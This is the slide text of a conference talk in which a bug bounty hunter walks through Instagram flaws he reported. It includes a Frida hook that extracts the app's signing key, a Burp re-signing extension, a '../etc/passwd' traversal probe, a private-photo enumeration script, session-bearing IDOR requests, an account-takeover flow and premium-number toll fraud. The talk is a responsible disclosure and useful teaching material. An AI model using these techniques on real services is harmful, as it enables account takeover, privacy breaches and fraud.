



APPSEC
EUROPE

The Tales of a Bug Bounty Hunter

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Whoami



- Arne Swinnen from Belgium, 27 years old
- IT Security Consultant since 2012



One packer to rule them all



Cyber Security Challenge
Belgium



Agenda

- Introduction
- Setup
 - Man-in-the-Middle
 - Signature Key Phishing
- Vulnerabilities
- Conclusion
- Q&A






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INTRODUCTION

Introduction



Motivation

- Intention since 2012
- CTF-like, with rewards
- Write-ups

Timing

- Since April 2015
- Time spent: +-6 weeks
- Vacations sacrificed ☺

Introduction



- “Facebook for Mobile Pictures”: iOS & Android Apps, Web
- 400+ Million Monthly Active Users in September 2015
- Included in Facebook’s Bug Bounty Program ☺



Introduction

Public account

The screenshot shows a public Instagram profile for the account 'cats_of_instagram'. The profile picture is a cartoon cat wearing glasses. The bio reads: 'Cats of Instagram It's #TwitterWeek! Follow us on Twitter & send us (@) your ONE best cat photo for a chance to be featured! __ web: catsofinstagram.com twitter.com/catsofinstagram'. The account has 4,804 posts, 5.3m followers, and 7 following. Below the profile are three thumbnail images of cats.

Private account

The screenshot shows a private Instagram profile for the account 'bruteforceme'. The profile picture is a blue placeholder icon. The bio is empty. The account has 1 post, 0 followers, and 0 following. A message at the top of the profile page says 'This Account Is Private' and 'Request to follow bruteforceme to see their photos and videos.' At the bottom of the page are links for 'ABOUT US', 'SUPPORT', 'BLOG', 'PRESS', 'API', 'JOBS', 'PRIVACY', 'TERMS', and 'LANGUAGE'.







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SETUP

Man-in-the-Middle





Man-in-the-Middle



Man-in-the-Middle



- Attempt 1: Android Wifi Proxy Settings



Proxy Listeners		
Burp Proxy uses listeners to receive incoming HTTP		
Add	Running	Interface
	<input checked="" type="checkbox"/>	192.168.0.226:8080
Edit		
Remove		

Man-in-the-Middle

- Attempt 1: Android Wifi Proxy Settings (ctd.)



A screenshot of the Burp Suite proxy tool. The interface includes tabs for Target, Proxy, Spider, Scanner, Intruder, Repeater, Intercept, HTTP history, WebSockets history, and Options. The Intercept tab is selected. The HTTP history panel shows a single entry: a GET request to https://www.arneswinnen.net with method GET and URL /. The host is listed as 324.

Instagram v6.18.0
25/03/2015


Man-in-the-Middle

- Attempt 1: Android Wifi Proxy Settings (ctd.)



Man-in-the-Middle


- Attempt 2: Ad-hoc WiFi Access Point



Personal Android device
USB Tethering ON





Personal Macbook Pro
Internet Sharing via WiFi ON



Android Test Device
Connected to Ad-hoc Network

Man-in-the-Middle


- Attempt 2: Ad-hoc WiFi Access Point (ctd.)



Burp Intruder Repeater Window Help			
Target	Proxy	Spider	Scanner
Intruder	Repeater	Sequencer	Decoder
Intercept	HTTP history	WebSockets history	Options
Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions			
#	Host	Method	URL
712	https://i.instagram.com	POST	/api/v1/accounts/login/
711	https://i.instagram.com	GET	/api/v1/si/fetch_headers/?guid=b...
704	https://www.arneswinnen.net	GET	/

Man-in-the-Middle

- Attempt 2: Ad-hoc WiFi Access Point (ctd.)



Signature Key Phishing

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts

Intercept HTTP history WebSockets history Options

Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension
927	https://i.instagram.com	POST	/api/v1/accounts/login/	<input checked="" type="checkbox"/>	<input type="checkbox"/>	400	554	JSON	

Request Response

Raw Params Headers Hex

```
POST /api/v1/accounts/login/ HTTP/1.1
X-IG-Connection-Type: WIFI
X-IG-Capabilities: HQ==
Content-Length: 367
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: i.instagram.com
Connection: Keep-Alive
User-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/google; Nexus 4; mako; mako; en_US)
Cookie: csrf_token=423d22c063a801f468f21d449ed8a103; mid=VksXsQABAAE0XswH9_NWNYhimepG
Cookie2: $Version=1
Accept-Language: en-US
Accept-Encoding: gzip

signed_body=da65262740c077cf0488ba9185c9c05b6474b500edc7e7ba83871a3b63849919.%7B%22_csrftoken%22%3A%22423d
d%22%3A%22b0644495-5663-4917-b889-156f95b7f610%22%2C%22device_id%22%3A%22android-f86311b4vs
sig_key_version=4
```




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ROMA
MMXVI

Signature Key Phishing

HMAC
SHA256

```
signed_body=
0df7827209d895b1478a35a1882a9e1c
87d3ba114cf8b1f603494b08b5d093b1.
{"_csrf": "423d22c063a801f468f21
d449ed8a103", "username": "abc", "guid"
:"b0644495-5663-4917-b889-
156f95b7f610", "device_id": "android-
f86311b4vs45j7d2", "password": "abc", "l
ogin_attempt_count": "11"}
```



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Signature Key Phishing

```
int Scrambler::getString(std::string)(void arg0) {
    r6 = arg0;
    r3 = 0x2000c;
    r7 = *r3;
    r7 = r7 + 0x4;
    r4 = *(r7 + 0x4);
    r5 = r7;
    while (r4 != 0x0) {
        if (std::string::compare() < 0x0) {
            r3 = *(r4 + 0xc);
        }
        if (CPU_FLAGS & L) {
            r4 = r5;
        }
        if (CPU_FLAGS & GE) {
            r3 = *(r4 + 0x8);
        }
        r5 = r4;
        r4 = r3;
    }
    if ((r5 != r7) && (std::string::compare() >= 0x0)) {
        r0 = *(r5 + 0x14);
        r0 = Scrambler::decrypt(r0);
    }
    else {
        r0 = 0x0;
    }
    return r0;
}
```



Signature Key Phishing



```
hook.py +  
1 import frida  
2 import sys  
3  
4 session = frida.get_usb_device(1000000).attach("com.instagram.android")  
5 script = session.create_script(''  
6 fs scrambler = Module.findExportByName(null,"_ZN9Scrambler9getStringESs");  
7 Interceptor.attach(ptr(fs scrambler), {  
8     onLeave: function (retval) {  
9         send("key: " + Memory.readCString(retval));  
10    }  
11});  
12 '')  
13  
14 def on_message(message, data):  
15     print(message)  
16  
17     script.on('message', on_message)  
18     script.load()  
19     sys.stdin.read()
```

```
Arne:Desktop aswinnen$ python hook.py  
{'type': 'send', 'payload': 'key: c1c7d84501d2f0df05c378f5efb9120909ecfb39dff5494aa361ec0deadb509a'}
```

Signature Key Phishing

```
BurpExtender.java ✘
21@Override
22public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
23{
24    // keep a reference to our callbacks object
25    this.callbacks = callbacks;
26    this.helpers = callbacks.getHelpers();
27    // set our extension name
28    callbacks.setExtensionName("Signature Instagram");
29    // obtain our output stream
30    stdout = new PrintWriter(callbacks.getStdout(), true);
31    // register ourselves as an HTTP listener
32    callbacks.registerHttpListener(this);
33}
34
35@Override
36public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
37{
38    if(messageIsRequest) {
39        byte[] request = messageInfo.getRequest();
40        IParameter param = this.helpers.getRequestParameter(request, "signed_body");
41        if(param != null) {
42            String value = param.getValue();
43            int index = value.indexOf('.');
44            if(index != -1 && (index+1) < value.length()) {
45                String origSig = value.substring(0, index);
46                String payload = this.helpers.urlDecode(value.substring(index+1));
47                String newSig = BurpExtender.calculateSignature(payload);
48                if(origSig.equals(newSig)) {
49                    stdout.println("[Request] Modification detected! Updating signature now. [" + callbacks.getToolName(toolFlag) + "]");
50                    String newValue = newSig + " " + this.helpers.urlEncode(payload);
51                    IParameter newparam = this.helpers.buildParameter("signed_body", newValue, param.getType());
52                    byte[] oldreq = this.helpers.removeParameter(request, param);
53                    messageInfo.setRequest(this.helpers.addParameter(oldreq, newparam));
54                }
55            }
56        }
57    }
58}
59
60private static String calculateSignature(String data) {
61    Mac sha256_HMAC;
62    try {
63        sha256_HMAC = Mac.getInstance("HmacSHA256");
64        SecretKeySpec secret_key = new SecretKeySpec(key.getBytes("UTF-8"), "HmacSHA256");
65        sha256_HMAC.init(secret_key);
66        return bytesToHex(sha256_HMAC.doFinal(data.getBytes("UTF-8"))).toLowerCase();
67    }
68}
```



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Signature Key Phishing

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender

Extensions BApp Store APIs Options

Burp Extensions

Extensions let you customize Burp's behavior using your own or third-party code.

Add	Loaded	Type	Name
	<input checked="" type="checkbox"/>	Java	Signature Instagram

Output

Output to system console

Save to file:

Show in UI:

```
[Request] Modification detected! Updating signature now. [Proxy]
[Request] Modification detected! Updating signature now. [Repeater]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Scanner]
```




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VULNERABILITIES

1. Web Server Directory Enumeration



<https://instagram.com>



1. Web Server Directory Enumeration



<https://instagram.com/?hl=en>

1. Web Server Directory Enumeration



<https://instagram.com/?hl=/en>



1. Web Server Directory Enumeration


The screenshot shows the Burp Suite interface during a web server directory enumeration attack. The target is set to `https://instagram.com`. In the Request tab, a GET request is made to `/?hl=en/../../../../../../../../etc/passwd%00`. The Response tab shows an HTTP 500 Internal Server Error. The response headers include:

```
HTTP/1.1 500 INTERNAL SERVER ERROR
Cache-Control: private, no-cache, no-store,
must-revalidate
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Thu, 13 Aug 2015 23:51:05 GMT
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Vary: Accept-Language, Cookie
Content-Length: 25
Connection: Close
```

The message body contains the error: `Oops, an error occurred.`



1. Web Server Directory Enumeration



The screenshot shows a web browser window with a blue header bar. The title bar says "dj Translation | Django docu". The address bar shows a green padlock icon followed by the URL "https://docs.djangoproject.com/en/1.8/topics/i18n/transl". Below the address bar, there are standard browser navigation buttons: back, forward, refresh, and a search bar.

The main content area contains a "Note" section, indicated by a small document icon and the word "Note" in bold. The note text reads:

Plural form and po files

Django does not support custom plural equations in po files. As all translation catalogs are merged, only the plural form for the main Django po file (in **django/conf/locale/<lang_code>/LC_MESSAGES/django.po**) is considered. Plural forms in all other po files are ignored. Therefore, you should not use different plural equations in your project or application po files.



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1. Web Server Directory Enumeration



<https://instagram.com/?hl=..../locale/en>




1. Web Server Directory Enumeration



<https://instagram.com/?hl=../wrong/en>

1. Web Server Directory Enumeration



The screenshot shows a GitHub repository page for the 'fuzzdb-project/fuzzdb' repository. The user is viewing the 'master' branch. The URL in the address bar is <https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery/predictable-filepaths/filename-dirname-bruteforce>. The page title is 'fuzzdb / discovery / predictable-filepaths / filename-dirname-bruteforce'. The commit history shows a single commit by 'amuntnr' titled 'doc relocation and renaming update' made 9 days ago. Below the commit, there is a list of files:

File	Description	Time
3CharExtBrute.fuzz.txt	doc relocation and renaming update	9 days ago
Extensions.Backup.fuzz.txt	doc relocation and renaming update	9 days ago
Extensions.Common.fuzz.txt	doc relocation and renaming update	9 days ago
Extensions.Compressed.fuzz.txt	doc relocation and renaming update	9 days ago
Extensions.Mostcommon.fuzz.txt	doc relocation and renaming update	9 days ago
Extensions.Skipfish.fuzz.txt	doc relocation and renaming update	9 days ago
WordlistSkipfish.fuzz.txt	doc relocation and renaming update	9 days ago
copy_of.fuzz.txt	doc relocation and renaming update	9 days ago
raft-large-directories-lowercase.txt	doc relocation and renaming update	9 days ago
raft-large-directories.txt	doc relocation and renaming update	9 days ago



1. Web Server Directory Enumeration

42 directory hits for
../<GUESS>/../locale/nl/



1. Web Server Directory Enumeration



Thank you for sharing this information with us. **Although this issue does not qualify as a part of our bounty program we appreciate your report.** We will follow up with you on any security bugs or with any further questions we may have.



1. Web Server Directory Enumeration



Thank you for sharing
as a part of our bounty
you on any security bug

issue does not qualify
We will follow up with
you later.

1. Web Server Directory Enumeration



My apologies on my previous reply, it was intended for another report.

...

After reviewing the issue you have reported, we have decided to award you a bounty of \$500 USD.



1. Web Server Directory Enumeration




My apologies on my

After reviewing the issue, I will award you a bounty of \$500 USD.

for another report.


award you a bounty of

2. Email Address Account Enumeration



2. Email Address Account Enumeration

```
https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haW  
wuY29t/?app_redirect=False  
  
base64_d(aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t): instagrampentestuser@gmail.com
```



2. Email Address Account Enumeration

`https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t/?app_redirect=False`

`base64_d(aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t): instagrampentestuser@gmail.com`

M Confirm your email address Instagram

Instagram

attacker14april

YOUR ACCOUNT

- Edit Profile
- Change Password
- Manage Applications
- Badges
- Log Out


Please Log In

Log in as victim14april and follow the confirmation link again.

2. Email Address Account Enumeration

base64_e(mark.zuckerberg@facebook.com): bWFyay56dWNrZXJiZXJnQGZhY2Vib29rLmNvbQ

https://instagram.com/accounts/confirm_email/U2imNZjK/bWFyay56dWNrZXJiZXJnQGZhY2Vib29rLmNvbQ/?app_redirect=False



2. Email Address Account Enumeration



After reviewing the issue you have reported, we have decided to award you a bounty of \$750 USD.



3. *****

- Reported on 11 September 2015
- Bounty of \$750 awarded on 12 February 2016
- Update: Not yet fixed on 10 June




4. Private Account Shared Pictures Entropy


```
{  
    "status": "ok",  
    "media": {  
        "organic_tracking_token":  
"eyJZXJzaW9uIjoxLCJwYXlsb2FkIjp7ImlzX2FuYWx5dGljc190cmFja2VkJpmYWxz  
ZSwidXVpZCI6IjYxNGMwYzk1MDRlNDRkMWU4YmI3ODlhZTY3MzUxZjNlIn0sIn  
NpZ25hdHVyZSI6IiJ9",  
        "client_cache_key": "MTExODI1MTg5MjE1NDQ4MTc3MQ==.2",  
        "code": "-E1CvRRrxr",  
        (...SNIP...)  
        "media_type": 1,  
        "pk": 1118251892154481771,  
        "original_width": 1080,  
        "has_liked": false,  
        "id": "1118251892154481771_2036044526"  
    },  
    "upload_id": "1447526029474"  
}
```




4. Private Account Shared Pictures Entropy



4. Private Account Shared Pictures Entropy



4. Private Account Shared Pictures Entropy



4. Private Account Shared Pictures Entropy


```
GET /api/v1/media/1118251892154481771_2036044526/permalink/ HTTP/1.1  
Host: i.instagram.com
```

```
HTTP/1.1 200 OK  
(...SNIP...)
```

```
{"status":"ok","permalink":"https://instagram.com/p/-E1CvRRrxr/"}
```



4. Private Account Shared Pictures Entropy



4. Private Account Shared Pictures Entropy

@Kevin Pk: 3	@MikeyK Pk: 4	@BritneySpear s Pk: 12246775	@msvigdis Pk: 12246776
1pj1DhgBD-	159sxaABXG	16JjhVG8HU	iV93JDG8Ue
1kHzf gBLp	1onlDogBf3	1yFoqcm8D9	XMUVDFm8X8
0-pshJgBAg	0yi-hjgBaE	1tejnLm8Co	VuWAQam8Xv
09pY_OgBPX	0k_oZWABSU	1r59lSm8GX	Vj81GHm8W9
0l1GTXABDo	0gboKEgBYr	1qrMPRG8AB	UEoTBAG8Sy
0k_apGABDm	0UDrVFgBVJ	1ghW7RG8B2	TfpmTGM8QP
0f5P_6AB0e	z-maEDgBWK	1T3KHhm8N2	TWbKzfm8f-
0GEijkABAC	z5HB2BgBbj	1Q2H_WG8LX	TVOOKEm8To
0BuHO9AB0x	zxeRSGgBaL	1OywdMm8Lf	TThPzXm8cm
z-9x5aABEq	zSqgd5ABco	1H2JvGG8DL	TS3Swlm8dZ
z8QVuXABD6	zQ6VkuABdH	08dtctG8Hb	TOtd3tm8Ve
z4vsirAB04	zJDzvRgbbR	00exOYm8Br	TOfrFAm8aZ
z2KV00gBIE	zBrTlsABXv	0yXTU6m8MN	TJikVLm8W9



4. Private Account Shared Pictures Entropy

```
username = raw_input("Enter the username of the Instagram user you want to monitor: ")
r = requests.get("http://instagram.com/" + username)

useridsearch = re.search('id":([^\"]*)", "biography"', r.text)
if useridsearch is None:

    userid = str(useridsearch.group(1))
    print "Found userid: " + userid

    uploadid = prepare_picture_upload(s)

    r = requests.get('http://i.instagram.com/api/v1/users/' + userid + '/info/').json()
    origmedia = r['user']['media_count']
    print "Current number of posts: " + str(origmedia)

while(True):
    r = requests.get('http://i.instagram.com/api/v1/users/' + userid + '/info/').json()
    newmedia = r['user']['media_count']
    if origmedia < newmedia:
        r = do_post_request(s, "https://i.instagram.com/api/v1/media/configure/",
                           {"upload_id":uploadid,"source_type":"4",'caption':''})
        codesearch = re.search("code":([^\"]*"), r.text)
        idsearch = re.search('id":([^\"]*)', r.text)
        if codesearch is None or idsearch is None:
            print "Could not successfully upload image myself and find a code."
        else:
            print str(idsearch.group(1)) + "," + str(codesearch.group(1))

        origmedia = newmedia
        uploadid = prepare_picture_upload(s)
```



4. Private Account Shared Pictures Entropy

Private victim account (monitored by attacker)	Public attacker account (generated right after monitor hit)
1yCwjTJRnk	1yCwodpTlC
1yC05mJRnq	1yC0_ApTlL
1yC5PqpRnu	1yC5UopTlX
1yC9nTJRnw	1yC9repTlk
1yDGULpRn9	1yDGaDpTl1
1yDKrvpRoB	1yDKvtJTl8
1yDPCCpRoi	1yDPHVpTl_
1yDTZGpRoO	1yDTdvpTmH
1yDXxRpRoW	1yDX1fJtmP
1yDgdBpRol	1yDgj6JTmb
1yDk1qpRop	1yDk6ypTme
1yD6mjRpT	1yD6sCpTnL
1yEDSqpRpn	1yEDXYJTnU
1yEHpNJRpt	1yEHuTpTnc
1yEQWTpRqD	1yEQb3pTnw
1yEUtCJRql	1yEUyJJTn5
1yEZEKJRqU	1yEZl3pTol
1yEdaxpRqe	1yEdfEpToO



4. Private Account Shared Pictures Entropy

Final entropy: $2 * 64^4 = 33.554.432$ possibilities

→ Feasible!




4. Private Account Shared Pictures Entropy



After reviewing the issue you have reported, we have decided to award you a bounty of \$1000 USD.



5. Private Account Shared Pictures CSRF



GET /api/v1/media/1118251892154481771_2036044526/permalink/ HTTP/1.1
Host: i.instagram.com
User-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/google; Nexus 4; mako; mako; en_US)
Cookie:
sessionid=IGSC0098a4bee11b593953fd4a3fe0695560f407a103d8eef9f5be083ff21e18667
3:PEVejQeSkS2p8WYxAEgtUWdXz9STvKM:{ "_token_ver":1,"_auth_user_id":20360
44526,"_token":"2036044526:7DcRpg1d0ve5T0NkbToN5yVleZUh0Ifh:571e05df8ecd8d
e2efc47dca5f222720233234f6f0511fb20e0ad42c1302ea27","_auth_user_backend":"acco
unts.backends.CaseInsensitiveModelBackend","last_refreshed":1447525940.04528,"_plat
form":1 }

HTTP/1.1 200 OK

(...SNIP...)

```
{"status":"ok","permalink":"https://instagram.com/p/-E1CvRRxr/"}  
}
```

5. Private Account Shared Pictures CSRF



A screenshot of a web browser window showing a successful API call to Instagram's API endpoint. The URL in the address bar is https://i.instagram.com/api/v1/media/1118251892154481771_2036044526/permalink/. The response body contains JSON data: {"status": "ok", "permalink": "https://instagram.com/p/-E1CvRRrxrZDkvJH4slbR7jn1cmc-6Cfg-YhA0/"}



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5. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id



A screenshot of a web browser window. The address bar shows the URL https://i.instagram.com/api/v1/media/1118251892154481771_2036044526/permalink/. A red box highlights both the URL and the JSON response below it. The JSON response is:

```
{"status": "ok", "permalink": "https://instagram.com/p/-E1CvRRrxrZDkvJH4s1bR7jn1cmc-6Cfg-YhA0/"}
```

CSRF



b) Find permalink of Shared Private Account picture

5. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id

Request by **attackerapril14**, obtaining the user tag feed of **victimapril14**:

```
GET /api/v1/usertags/1834740224/feed/ HTTP/1.1
<SNIP>
Cookie: ds_user_id=1834735739; igfl=attacker14april; csrf_token=c62c1b7939d31ef5a397d47e0f6deab6;
mid=VSyAxQABAAF8rnZltuR38g9L_JcH;
sessionid=IGSC0f6bd9053f46af065661341b814c925257045e0281d091e666359a04d3958dc2%3ADu6NBOBd2pTpR
djlhCDPCKyr3mKSz5ey%3A%7B%22_auth_user_id%22%3A1834735739%2C%22_token%22%3A%221834735739%
3At3mMDvmlNScp7fU9zWDP5I6obAXC4LH8%3A001ef1a6209117adf855bf199c086eed571920a74485f49976236e
9ae46a2e80%22%2C%22_auth_user_backend%22%3A%22accounts.backends.CaseInsensitiveModelBackend%22%
2C%22last_refreshed%22%3A1428983171.329889%2C%22_tl%22%3A1%2C%22_platform%22%3A1%6D;
is_starred_enabled=yes; ds_user=attacker14april
<SNIP>
```

Response, containing the private Image ID of **victimapril14**:

```
HTTP/1.1 200 OK
<SNIP>

{"status":"ok","num_results":0,"auto_load_more_enabled":true,"items":[],"more_available":false,"total_count":1,
"requires_review":false,"new_photos":[962688807931708516]}
```



5. Private Account Shared Pictures CSRF



- a) Find Private Account pictures image_id
- b) Find permalink of Shared Private Account picture

Request, sending the image ID of user victim14april along with a valid SessionID for user attackerapril14:

```
GET /api/v1/media/962688807931708516_1111111111/permalink/ HTTP/1.1
Host: i.instagram.com
Connection: Keep-Alive
User-Agent: Instagram 6.18.0 Android (16/4.1.2; 240dpi; 480x800; samsung; GT-I9070; GT-I9070; samsungjanice; en_GB)
Cookie: ds_user_id=1834735739; igfl=attacker14april;
sessionid=IGSC0f6bd9053f46af065661341b814c925257045e0281d091e666359a04d3958dc2%
3ADu6NBOBd2pTpRdjlhCDPCKyr3mKSz5ey%3A%7B%22_auth_user_id%22%3A1834735739%2C
%22_token%22%3A%221834735739%3At3mMDvmlNScp7fUzWDP5l6obAXC4LH8%3A001ef1a
6209117adf855bf199c086eed571920a74485f49976236e9ae46a2e80%22%2C%22_auth_user_b
ackend%22%3A%22accounts.backends.CaseInsensitiveModelBackend%22%2C%22last_refreshe
d%22%3A1428983171.329889%2C%22_tI%22%3A1%2C%22_platform%22%3A1%7D;
```

Response, containing permalink for the private image:

```
HTTP/1.1 200 OK
(...SNIP...)
{"status":"ok", "permalink":"https://i.instagram.com/p/1cKF7KA4RKV/"}  
[Yellow box highlights the permalink]
```




5. Private Account Shared Pictures CSRF

- a) Find Private Account pictures image_id
- b) Find permalink of Shared Private Account picture




After reviewing the issue you have reported, we have decided to award you a bounty of \$1000.


6. Account Takeover via Email Change



Spot the difference




6. Account Takeover via Email Change



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6. Account Takeover via Email Change



The screenshot shows an email inbox interface with a blue header bar. In the top right corner, the email address "instagrampentesting1@gmail.com" is displayed. Below the header, there are several standard email controls: back, forward, search, and a "More" dropdown. The main content area shows a single email message. The subject line is "Email changed on Instagram". The sender is "Instagram <no-reply@mail.instagram.com>" and the recipient is "to me". The timestamp is "2:40 AM (2 minutes ago)". To the right of the message is the Instagram logo and the text "Related Google+ Page". The email body contains the following text:

Hi pentestingvictim,
The email on your Instagram account was changed from instagrampentesting1@gmail.com on 17:40 (PDT) on Thursday, April 23 2015.
Your new email: instagrampentesting2@gmail.com
If you didn't do this, please secure your account.
-The Instagram Team



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6. Account Takeover via Email Change

The screenshot shows a web browser displaying a Instagram account takeover page. The URL in the address bar is <https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/>. The page title is "Instagram". On the right side, there is a "Log in" button. The main content area has a blue header with the text "Change Your Email?". Below this, there is a placeholder profile picture labeled "pentestingvictim". A message states: "The email on your account was changed to instagrampentesting2@gmail.com". A note below it says: "If this wasn't you, you can secure your account. You may need to verify your account and reset your password before you can log in." At the bottom, there are two buttons: "This Was Me" (gray) and "Secure Account" (green).



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6. Account Takeover via Email Change

Scenario: Assume temporary access for an attacker to victim session



Man-in-the-Middle
(before SSL Pinning)

Cross-site Scripting
Vulnerability

Physical access to
unlocked phone

6. Account Takeover via Email Change

User	Email address(es)	Instagram account
victim	instagrampentesting1@gmail.com	pentestingvictim
attacker	<u>Instagrampentesting2@gmail.com</u> <u>Instagrampentesting3@gmail.com</u>	



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6. Account Takeover via Email Change

	Victim	Attacker
Email	Instagrapentesting1@gmail.com	Instagrapentesting2@gmail.com
Reclaim link	https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/	https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGluZzJAZ21haWwuY29t/



Currently owns
victim account

6. Account Takeover via Email Change

	Victim	Attacker
Email	Instagrampentesting1@gmail.com	Instagrampentesting2@gmail.com
Reclaim link	https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFnemFtcGVudGVzdGluZzFAZ21haWwuY29t/	https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGluZzJAZ21haWwuY29t/



Currently owns
victim account

6. Account Takeover via Email Change

	Victim	Attacker
Email	Instagampentesting1@gmail.com	Instagampentesting2@gmail.com
Reclaim link	https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFnemFteGVudGVzdGluZzFAZ21haWWuY29t/	https://instagram.com/accounts/disavow/xjo94i/TmQBfjzk/aW5zdGFnemFteGVudGVzdGVzdGluZzJAZ21haWWuY29t/



Wins!





6. Account Takeover via Email Change





After reviewing the issue you have reported, we have decided to award you a bounty of \$2000 USD.




7. Steal Money via Premium Numbers



7. Steal Money via Premium Numbers



7. Steal Money via Premium Numbers



7. Steal Money via Premium Numbers


The screenshot shows a web browser window for 'Eurocall24 - List Numbers'. The URL is <https://www.eurocall24.com/index.php?r=numbers/list>. The page title is 'Allocated Numbers'. A green success message box says 'Settings successfully changed.' Below it, a table shows one allocated number: 'Country' (United Kingdom), 'Range' (44 741813 xxxx), and 'Numbers' (1). At the bottom, a detailed view for the same number shows: 'Country Name' (United Kingdom), 'Range' (44741813xxxx), 'Phone Number' (447418138010), 'Service' (Conference), 'Currency' (0.0600 GBP per Min.), and 'Payout Terms' (EOM + 45 days). There are 'Update' and 'Remove' buttons. A note at the bottom says: '⚠ Check the tariff. Payout depending on peak/off peak times. For more details please place mouse cursor over the icon next to the payout.'



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7. Steal Money via Premium Numbers



The screenshot shows a web browser window with the following details:

- Title Bar:** Eurocall24 - LiveStatistics
- Address Bar:** <https://www.eurocall24.com/index.php?r=statistics/liveStatistics>
- Page Content:**
 - Eurocall24 PREMIUM RATE PARTNER** logo
 - User profile: instagram pentesting (instagrapentesting) with a bell icon and user icon
 - Live** section header
 - Table of live statistics:

#	CLI	Number	Started	Duration
1.	16506814774	447418138010	00:01:08	5
Total				5



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7. Steal Money via Premium Numbers

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer

1 × 6 × ...

Target Positions Payloads Options

Payload Sets

You can define one or more payload sets. The number of payload sets, each payload set, and each payload type can be customized in different ways.

Payload set: 1 **Payload count:** 60
Payload type: Numbers **Request count:** 60

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and repeats them the specified number of times.

Number range

Type: Sequential Random

From: 1
To: 60
Step: 1
How many: 60

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater

1 × 6 × ...

Target Positions Payloads Options

Request Headers

These settings control whether Intruder updates the connection after each request.

Update Content-Length header
 Set Connection: close

Request Engine

These settings control the engine used for making HTTP requests.

Number of threads: 5
Number of retries on network failure: 3
Pause before retry (milliseconds): 2000
Throttle (milliseconds): Fixed 30000



7. Steal Money via Premium Numbers

The screenshot shows a web browser window for 'Eurocall24 - Statistics' at the URL <https://www.eurocall24.com/index.php?r=statistics%2Findex&fastSelectTime=&fromDate=2015-09-05&toDate=2015-09-05&yt>. The page displays 'Calls statistics' for the date range from 2015-09-05 to 2015-09-05. A sidebar on the left includes links for Home, Numbers, Live Statistics, Statistics, Test Panel, and Access List. The main content area shows a table with the following data:

Range / Number	Payout	Calls	Total (min.)	Total payout	Avg. (min.)	Last call
44741813xxxx	0,0600 GBP / Min.	61	17:21	1,04 GBP	0:17	2015-09-05 17:56:30
Total		61	17:21	1,04 GBP		




7. Steal Money via Premium Numbers



This is intentional behavior in our product. We do not consider it a security vulnerability, but we do have controls in place to monitor and mitigate abuse.

7. Steal Money via Premium Numbers



This is intentional
but we do have con

urity vulnerability,

7. Steal Money via Premium Numbers



This is intentional
but we do have c
vulnerability,

7. Steal Money via Premium Numbers



1 account	100 accounts
\$2 / h	\$200 / h
\$48 / day	\$4.800 / day
\$1.440 / month	\$144.000 / month

7. Steal Money via Premium Numbers



Hello again! We'll be doing some fine-tuning of our rate limits and work on the service used for outbound calls in response to this submission, so this issue will be eligible for a whitehat bounty. You can expect an update from us again when the changes have been made. Thanks!

...

After reviewing the issue you have reported, we have decided to award you a bounty of \$2000 USD.




8. Private Account Users Following

```
diff v6.20.1 vs 6.19.0.txt x
1 direct_v2/
2 discover/su_refill/
3 fbsearch/topsearch/
4 /hashtag/
5 /hide/
6 media/%s/comment/bulk_delete/
7 /media_share/
8 /profile/
```



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8. Private Account Users Following



The screenshot shows an IDE interface with two main windows. On the left is a code editor for a file named `e.java`, which contains Java code related to Instagram's Android feed. On the right is a search results window titled 'Search' showing the results for the query "'su_refill' - 4 matches in workspace'.

`e.java` content:

```
1 package com.instagram.android.feed.b.e;
2
3 import com.b.a.a.k;
4
5 public final class e extends c<be>
6 {
7     private final com.instagram.user.e.a a;
8     private final int b;
9
10    public e(com.instagram.user.e.a parama)
11    {
12        this.a = parama;
13        this.b = 5;
14    }
15
16    private static be b(k paramk)
17    {
18        return bf.a(paramk);
19    }
20
21    protected final String a()
22    {
23        return "discover/su_refill/";
24    }
25
26    public final void a(b paramb)
27    {
28        paramb.a("target_id", this.a.a().o());
29        paramb.a("num", String.valueOf(this.b));
30    }
31
32    public final int b()
33    {
34        return com.instagram.common.a.b.a.c;
35    }
36}
```

Search results window content:

- Instagram 6.20.1
 - src
 - com
 - instagram
 - android
 - feed
 - b
 - a
 - e.java
 - diff.txt
 - URLS.txt
 - URLSonly.txt



8. Private Account Users Following

```
GET /api/v1/discover/su_refill/?target_id=2036044526 HTTP/1.1
Host: i.instagram.com
Connection: Keep-Alive
Cookie:
